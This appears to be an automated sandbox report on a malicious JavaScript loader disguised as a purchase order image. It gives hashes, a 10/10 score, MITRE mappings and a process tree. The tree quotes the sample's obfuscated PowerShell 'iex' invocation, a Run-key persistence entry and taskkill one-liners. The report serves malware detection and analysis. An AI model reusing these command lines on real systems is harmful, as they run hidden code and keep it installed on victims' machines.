c204ab54a17a100dad617aa18b1c746f732a924868282d6398cfd9d415ef8fb4

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 06:37

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General

Target
Purchase Order Image.js
Size 57KB
Sample261027-hdnabaa131
SHA256 c204ab54a17a100dad617aa18b1c746f732a924868282d6398cfd9d415ef8fb4
MD5 1e4b5c34c301dc697ce95716cce83db8
SHA1 6b2b8c6f5b74146e4b82f3988bf6e6d78a725968
SHA512 f5367b6eb68ef2c052de38f373d3f18a22684cc42dd531e15db06b8e6f2bb63529f9d9747aff9633a2d7e1fe70c51972fbeeb6099bd44af986b03bf32c9d723e
SSDEEP 1536:ZBzNaKOIHokQ/mHgqx612ESUkCvhQrE2ISB55y11F1uYoW5Rs:4KRjxfjnISB55y11F1uYoW5W
TLSH
T1AA4365B34B834168B242F5C0472B610EDDF68B1BD8385C9DB74A56DFEB2F8187065B28
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3788	2460	cmd.exe	89

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5536	powershell.exe
8	5536	powershell.exe
10	5536	powershell.exe
11	5536	powershell.exe
12	5536	powershell.exe
13	5536	powershell.exe
14	5536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1536	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\aiibaocSni = "\"C:\\ProgramData\\daAoico.js\""	powershell.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/5536-19-0x000001D973540000-0x000001D973556000-memory.dmp	SmartAssembly

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3788	cmd.exe
5524	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1304	taskkill.exe
4016	taskkill.exe
488	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5536	powershell.exe
5536	powershell.exe
5536	powershell.exe
1536	powershell.exe
1536	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1304	taskkill.exe
Token: SeDebugPrivilege	4016	taskkill.exe
Token: SeDebugPrivilege	488	taskkill.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3788 wrote to memory of 5536	3788	cmd.exe	92
PID 5536 wrote to memory of 1536	5536	powershell.exe	94
PID 1536 wrote to memory of 5524	1536	powershell.exe	96
PID 5524 wrote to memory of 1304	5524	cmd.exe	98
PID 5524 wrote to memory of 4016	5524	cmd.exe	99
PID 5524 wrote to memory of 488	5524	cmd.exe	100

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order Image.js"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:5484

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe .([char[]](105,101,120) -join '') $env:fAfpdpjgz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Purchase Order Image.js -Destination 'C:\ProgramData\daAoico.js' -Force
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .([char[]](105,101,120) -join '') $env:fAfpdpjgz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Purchase Order Image.js -Destination 'C:\ProgramData\daAoico.js' -Force
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5524
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1304
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4016
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 835b6db25c643c313012758056871ed01f6901821fb93a8460e57b13b13a415a
MD5 46f20a2c2c0879cb36d06d9d92431223
SHA1 fc5c338d298d95769f76bf6545d55f8a8a249920
SHA512 9c6d2a526bda4b53a02aedf5ef6993771b6c56488aa767c0e2226bc4ec5810c1ff99aca1744d2f06a56fc638141e5ac90edde476d5296f5a2197c01a26e84461
TLSH
T190214837B3DC8615D889403A50CDEC0436B687DB909ECF6BBB85D644B53F599CE602A0
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_b5230in0.dgo.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b5230in0.dgo.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/5536-12-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-13-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-7-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-8-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-9-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-10-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-11-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-0-0x00007FFEDFBFF000-0x00007FFEDFC00000-memory.dmp

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memory/5536-14-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-6-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-15-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-17-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-18-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-19-0x000001D973540000-0x000001D973556000-memory.dmp

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memory/5536-5-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-4-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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memory/5536-3-0x000001D973BF0000-0x000001D973C12000-memory.dmp

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memory/5536-26-0x00007FFEDFA70000-0x00007FFEE0414000-memory.dmp

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